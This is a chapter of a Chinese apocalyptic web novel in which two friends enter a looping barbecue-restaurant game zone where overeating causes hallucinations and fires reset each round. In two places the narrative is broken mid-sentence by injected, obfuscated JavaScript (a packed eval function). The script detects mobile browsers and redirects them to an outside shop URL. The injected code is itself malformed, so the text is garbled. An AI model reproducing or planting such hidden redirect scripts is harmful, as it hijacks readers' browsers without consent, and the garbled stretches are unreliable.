姜淮生他们是9月2号下午进去的,到今天了还没出来。 易晗眉头紧皱,这个感染区看来很难。 她放下书包,拿出几个牛肉脯分给周芷倾和万老师:“你们先吃点东西,这里有水吗?” 周芷倾:“有的,往上有一个饮水机,不然我们早挂了。” “上面是什么?”何筱风不敢往楼梯口走,因为那里有一个年长的陌生男人。 “是一个咖啡屋。”周芷倾撕开包装,嚼着牛肉回答,“还没营业,有点刚到货的水果,让我们吃完了。” 她咽下去后说:“现在,你,告诉我这到底怎么回事,一句话回答。” 易晗:“……末日游戏,闯关,拿道具,打丧尸,活下去。” 周芷倾:“……” 何筱风:“……” “道具……” 三个女生微微一愣,说话的是一直不吭声的万老师。 万老师声音沙哑,他从台阶上站起来,何筱风往易晗身后躲。 这个人眼眶血红,头发凌乱,德高望重的老教授像第一次玩游戏的孩童,满怀悲伤又眼含希冀地问道:“道具里,有没有可以复活人的东西?” 一看就知道他肯定有重要的人刚刚死去。 三个女生谁也没多嘴问,易晗认真回答:“可能有,如果能从眼睛里活着出来并完成任务,就可以选择里面的东西进行升级,说不定能升级个什么复活笔记。” 结果周芷倾更兴奋:“真的假的?!” “……”易晗白她一眼,“真的。” “你们已经进去过了?活着出来了?!” “对啊。” “那我们快进那个眼睛吧,没我们他出不来的!” 被周芷倾一把抓住胳膊猛晃的易晗:“……” 她终于发现周芷倾不太对了,这一会儿萎靡一会儿亢奋的样子,跟前几天的沈乔一样不正常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033753|194604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 果然人不能饿太久,易晗耐心解释:“那个眼睛上的数字,是实时可容纳的玩家数量,现在是零,就说明里面人满了,我们进不去的。” 周芷倾二话不说转头就走,沿着楼梯口往里转,另一侧居然还有一扇窗,能看见烤肉店门前的眼睛。 周芷倾就那么扒窗盯着,翘首以盼。 易晗:“……” 周芷倾安静了下来,万老师再问一遍:“你说的是真的?没有骗我?” 易晗直视着他的眼睛:“没有。” 何筱风参与不了任何对话,她连书包都没放下,视线在万老师和周芷倾身上来回转悠,所以当周芷倾忽然起跑的时候,她立刻惊呼道:“哎你干嘛?” “变了!数字变1了!我要进去!” 周芷倾不知何时落了满脸的泪,人却是在笑的,几天没吃肉的人跑起来还挺快,易晗想抓她,却被她习惯性反抓住一起往外跑去,易晗:“哎哎哎!” 易晗被周芷倾拉出了门,何筱风紧随其后,想把易晗抓回来,但她马上看出其实易晗没挣扎,就在周芷倾还差一步就要跑进烤肉店前的眼睛时,易晗一用力,两人就都停住了。 周芷倾被一扯,回头:“干嘛?” 易晗拉着她,力道不容抗拒:“别闹了,数字只有1,我不允许你一个人进去。” “可是!”周芷倾嘴巴一撅,眼里一秒注满了泪水,头刚一转回去,就又转回来惊喜道,“哎!变2了!” 易晗:“……” 绝了,周芷倾一哭就变成2了,她服了。 易晗的白眼翻上了天:“啊那行吧,我们一起去。” 身后的何筱风眼珠子都要瞪出来了:“啊?!” “没事没事,”易晗拉住一个劲要往前蹦的周芷倾,把水果刀扔给何筱风,嘱咐道,“你们躲起来,我们会出来的。” 说完,易晗没再用力,亢奋过头的周芷倾拉着她朝前奔去,两个人就那么消失在那只深不见底的眼睛里,数字再度变成了0。 被易晗扔在身后的何筱风:“……” 她本来还暗自腹诽周芷倾也太恋爱脑了吧命都不要了,现在易晗又算什么?闺蜜脑吗? 这是易晗第一次走入感染区。 和平时走进一扇门相比,没什么不同的。 她们两人手拉手踏入回响烤肉店,先听见店老板热情洋溢的招呼,再看见店里面已经浓烟四起、热浪滔天,分分钟就要变成火灾现场了。 姜淮生崩溃大喊:“不要进来——” 易晗:“……” 不是,她刚进来就要被火烧死啊? 最后,浓烟遮蔽了视线,无处可躲的两人失去了氧气,尚未陷入昏迷,裤子衣服就被顷刻点燃。 易晗这辈子第一次被火烧,浑身分不清是凉还是烫,只觉得疼。 再次睁开眼睛时,她和周芷倾坐在一张二人烤肉桌上,桌上的烤肉盘准备就绪,服务员推着餐车停下,开始端肉,上饮料,上酒。 店不大,客人也少,坐得不满,但服务员、保洁员来来往往,灯光烛火人影连成一片,很显热闹。 她们旁边是姜淮生和一个男生,隔着过道都看得出两个男生面如死灰。 周芷倾:“……咳,咳。” 她使劲聚焦涣散的眼神,盯着姜淮生看,又盯着易晗看,看完放心了,人往桌上一趴,表示:“你们没死就行。” 易晗心累地望天,问:“喂,什么情况?循环啊?” 姜淮生脸上写满生无可恋:“不,是重生,孩子已经死麻了。” 11. 迎新烤肉宴 这个感染区有一点好,就是不用去分辨谁是玩家谁是NPC——NPC统一穿着服务员小马褂,一律没有表情,妥妥的烤肉机器,非必要不说话。 除非哪个玩家好几分钟没吃肉了,他们才会出声提醒:“客人,肉已经可以吃了。” “哦哦谢谢。”易晗应道,桌上的小碗满满当当都是肉。 香味扑鼻,肉质肥美,还有琳琅满目的碳酸饮料。她和周芷倾都几天没吃肉了,根本移不开眼睛,口水直流。 姜淮生叹了第八百次气:“吃吧,别吃太多就行。” 于是周芷倾忙着往嘴里塞肉,停都停不下来,易晗比她克制了一丝丝,边嚼边吩咐:“哎,这里面具体怎么回事,你概括一下,越短越好。” 姜淮生:“……” “哈哈哈。” 三人微怔,姜淮生旁边桌上的男生先笑了,笑出一种神经质的凄凉:“你刚也死过一回了,居然心还挺大。” 死过一回不就说明死了还能活吗,生命值为零的易晗不以为意。 不以为意的易晗还没说什么,和姜淮生同桌的男生呜呜地哭出声,一边哭一边往嘴里塞肉,就着眼泪鼻涕一起吞,好不心酸。 周芷倾看得直皱眉:“他为什么……” 方才笑易晗的男生沙哑开口:“因为不吃肉会死,但是吃多了也会死。” 他概括得倒是简洁,吓得周芷倾停下了筷子,姜淮生伸长胳膊,隔着狭窄的过道握住女朋友的手:“没事的,火灾过后可以重置,所以死之前赶紧放火就行。” “……”周芷倾眼睛瞪得更大了。 在副本里熬了三天着实不易,说话没头没尾还前言不搭后语,易晗在心里吐槽,边吃边看桌上的菜单,上面是任务指引: 【欢迎光临回响烤肉店,开学迎新季!】 【桌上的烤肉美味至极,不能浪费粮食哦】 【但也请牢记,吃得太多会不舒服的哦】 【不过烤肉店似乎不太安全,有可能发生火灾呢】 【所以不要光顾着吃,还可以尝试一下如下选择】 【阻止火灾的发生(B)】 【找出火灾发生的原因(A)】 【存活1小时(S)】 【现在,游戏开始了哦~~】 很好,只要不是傻子都看得出重点:必须吃烤肉,但吃太多吃太少都不行,火灾是一定会发生的,结合刚刚发生的来看,葬身火海并不会死,感染区会整体重启,进入下一次循环。 跟上一个寝室副本相比,最大的不同点莫过于,上次存活下来是最低要求,这次竟成了最高要求。 最高要求仅仅是存活1小时,那也太容易死了吧。 易晗吃得太快胃有点顶得慌,直起腰观察四周,周芷倾有样学样,抓起姜淮生的手晃了一圈:“这些都是你同门吗?” “没有,”姜淮生用力吸了口气打起精神,扬了扬下巴,“那边那两个,明显年长一些吧,不是学生,他们两个好像是同事。” 离后厨最近的二人桌上,两个西装革履的男人相对而坐,其中一个转过头来连声解释:“不是不是,徐总是我老板,我是给他开车的,我叫艾瑞克。” 徐总一手撑着下巴,挡住脸,没有半点搭话的意思。 “他们两个是后面进来的,最开始只有我们学校的。”姜淮生转回来,介绍同桌和邻桌,“他叫常呃……小常,跟我同届的,一个导师,这两位是曲学长和任学姐。” 易晗和周芷倾向姜淮生的同门点头致意,姜淮生再说:“她是我女朋友周芷倾,她是易晗,我女朋友的闺蜜。” 她们光顾着记人名,一时忘了吃肉,服务员宛如AI一般出声提醒:“客人,肉已经烤好了。” 姜淮生脸色微变,也催她们:“快吃,他们叫你吃就赶紧吃。” 易晗和周芷倾碰了碰眼神,易晗乖乖吃了块肉,周芷倾于是照做。 曲学长也扔了块肉进嘴里,咀嚼得非常缓慢:“我们重来多少次了?” 有人说“九次?”,又有人说“不止,十几次了”,任学姐被他问红了眼睛,揉着眼睛也不忘继续吃肉。 他们吃得好痛苦,易晗都要没胃口了。 她轻轻踢了踢周芷倾,周芷倾一秒明白,探过身就朝姜淮生的后脑勺招呼了一下:“好了你可以说了,你在里面这三天都是怎么过的?” “……”姜淮生一脸迷茫,“外面都过去三天了吗?” 周芷倾:“对啊,你们……不一样?” 姜淮生垂头丧气地趴在桌上:“多少天……没有天数的概念这里根本。” 姜淮生和他同门的脸色全都一个比一个惨,小常同学除了哭就没有发出过别的声音,任学姐头发凌乱,时不时落下一行泪,曲学长则一直挂着一副半笑半哭的表情,苦涩至极。 相比之下,那两个穿西装的男人要好得多,不过姜淮生说他们是后面进来的,状态好一些也正常。 所以这个感染区一共能容纳八个玩家,人还挺多。 易晗东张西望的时候,姜淮生颠三倒四说了不少。 首先,必须一直吃肉不能停,经服务员提醒后还不赶紧吃的,会出现各种意外。比如之前一个实在吃不下了的学长,仅仅多休息了一会儿,天花板上的风扇就旋转着砸了下来,当场脑袋开花。 周芷倾吃肉的动作一停:“……他死了?尸体呢?” 姜淮生被记不清多少次的循环摧残得麻木,说起这些一脸平静:“大火过后,死去的人就会消失的。” 其次,肉吃得太多也不行,人会渐渐出现幻觉,再然后会控制不住伤害自己或伤害他人。 比如之前一个辅导员,吃着吃着就发了狂,拿起剪肉的刀就要捅死同伴,最后被同伴反杀。 后来这位同伴也深陷幻觉,拿起剪刀捅死了自己。 比如刚才一轮的曲学长,非把脸往烤盘上贴,硬是把自己烤得面目全非,任学姐实在受不了了,就主动放了火。 听到这里,周芷倾看了曲学长一眼,隐约懂了:“你刚说火灾过后会重置,就是说只要在彻底挂了前先放火,被火烧一遍就能,就能重置了?什么幻觉什么伤口都没有了?” “对。”姜淮生点头,“意外通常来不及,但在被幻觉彻底弄死前放火就来得及。” 一旁的曲学长说:“对。” 他对任学姐说:“谢谢你。” 姜淮生的一番话勾起了在座各位非常不好的回忆,任学姐泪眼婆娑,却还得一块一块往嘴里塞肉。 他还没说完:“就是这样,吃多吃少了都会死,等后厨的肉全吃完,老板会说餐厅打烊了,然后就起火,死去的人消失,还活着的人可以再来一次,后来基本都是我们主动放火。” 桌上有酒精灯,有酒,他们放火越发熟练。 每次重生,餐厅的钟都再次指向六点半,周而复始,没有尽头。 “唉……”看见周芷倾和易晗一起进来,姜淮生有种“女朋友和好朋友一起来受罪”的荒唐感,既难过,又卑劣地生出一种“不用一个人煎熬”的庆幸。 他侧目盯着周芷倾:“我明明叫你在外面等我的。” “是啊,”周芷倾冲他一耸肩,“但你一直出不来呀,我心想总得有人进来给你收尸啊。” 姜淮生:“……” 所以说天塌下来有闺蜜的嘴顶着,易晗手支着下巴,一抹笑藏在手心。 她筷子上夹着肉,一小口一小口地啄。 就在刚才,她的系统自动播报了一句:【精神值-1】 冰冷的语调突兀地在脑子里响起,没把她吓呛着是她气质好。 原来系统会在副本里主动报数啊。 看来肉吃多了会降低精神值,不知道要降低到多少才会产生幻觉。 “行啦,”易晗喝了口可乐,扬声道,“碰到能循环的副本就知足吧,我上一个副本可是死了就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033754|194604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死了,没有存档没有重开的那种呢。” 易晗有意这样说,眼珠子一转,周芷倾就懂了:店里或许有和她一样的“非新手玩家”,并且这一点很重要。 可惜没人有心情搭话,不过易晗还是察觉到,那二人桌上的艾瑞克立马回头看了她一眼。 但下一秒就似乎被徐总瞪了一下,又把头缩了回去。 “没事。”她极小幅度地摇摇头,安慰周芷倾不着急,再安慰大家伙,“外面可是丧尸满地跑呢,在这里好歹不会被咬也不会饿死啊。” 众人:“……” 易晗平日里不是在人群中负责开玩笑的人,也就开些地狱玩笑她还算擅长。 周芷倾无语地翻白眼,姜淮生还算给面子地呵呵一笑。 循环类的经典作品可太多了,靠的就是一遍一遍死。易晗明白,能循环就能低成本试错,还好两个队友是她可以完全信任的人。 于是她对服务员礼貌微笑:“你好,多给我点肉好吗?” 周芷倾闻言立刻看她:“你干嘛?” “我试试,你别怕,”易晗再对姜淮生一抬下巴,“万一我发癫,你别手软,不会死就行。” 姜淮生:“好。” “好个屁!”周芷倾当即骂道,“她一不对劲就给我立刻放火听到没有!” 姜淮生:“……哦。” 于是易晗开始大口大口猛吃,两大块肉下肚,她不出意料地听见系统的声音:【精神值-5】 没关系,她早就点开系统了,精神值现在还有82呢——她本来应该有95,从在寝室打丧尸一直到出来再到这里还死了一次,已经掉了不少。 精神值要掉到20以下才会失控,她不慌。 易晗动作淡定,又夹了块肉扔嘴里,嚼嚼嚼咽咽咽。 【精神值-10】 【精神值-20】 【精神值-30】 易晗:“……” 哎?哎哎?! 眼瞅着精神值即将跌破20大关,易晗当机立断把肉吐了出来——精神值卡在22不掉了。 但幻觉还是来了。 一阵耳鸣过后,耳畔响起人群的尖叫与求救,四周燃起了跳动的火,一道一道人影相继倒下。易晗的瞳孔紧缩到极点,她看见自己置身火场,天花板上的钢筋水泥大块砸落,重重砸在了周芷倾的身上! 周芷倾倒在了火里,她的腿被压住了! “喂——!”她忽然大叫着站起,双手抱住了周芷倾的腰,大力勒住。 “呀——”周芷倾被力大无穷的易晗玩命一勒,登时气都要喘不上了,“放、放开……” 姜淮生不带犹豫,抄起酒瓶就往易晗脑袋上砸,“哐啷——”易晗被他砸得脑门流血,人却死死掐住周芷倾一动不动! 血顺着额头流进眼眶,就像大火烧红了易晗的眼睛。 姜淮生和学长学姐齐齐上阵,又喊又叫,抠她的手拉她的胳膊,周芷倾被掐得发不出声音,姜淮生甚至一掌一掌对准易晗的脖子砍去——但易晗就是不松手! 她力气不是超级大吗,怎么可能拖不动周芷倾呢,再不拉她出来,她就要被烧死了! 须臾之间,眼前的周芷倾闭上了眼睛,火焰肆意淹没了她。易晗一瞬间忘记了呼吸,手上一松,人顿时被拼命拉她的曲学长拽倒,两人都砰一声摔倒在地。 【警告!精神值已不足20!】 大火愈烧愈烈,房屋倒塌,氧气耗尽。易晗听见濒死的哭泣声,寻着声音看去,是一个陌生的男生,好像是姜淮生的学长。他被烧断倒塌的承重柱压住,整个人几乎拦腰斩断,鲜血满地。 他痛苦的哭泣和微弱的喘息令易晗烦躁无比。 与其这么难受,还不如一刀送他上路。 易晗从地上拾起一把刀,缓缓走向男生。 “轰——” 身后悄悄钻出的一条火蛇咬上了她的裤脚,大火瞬间将她吞噬。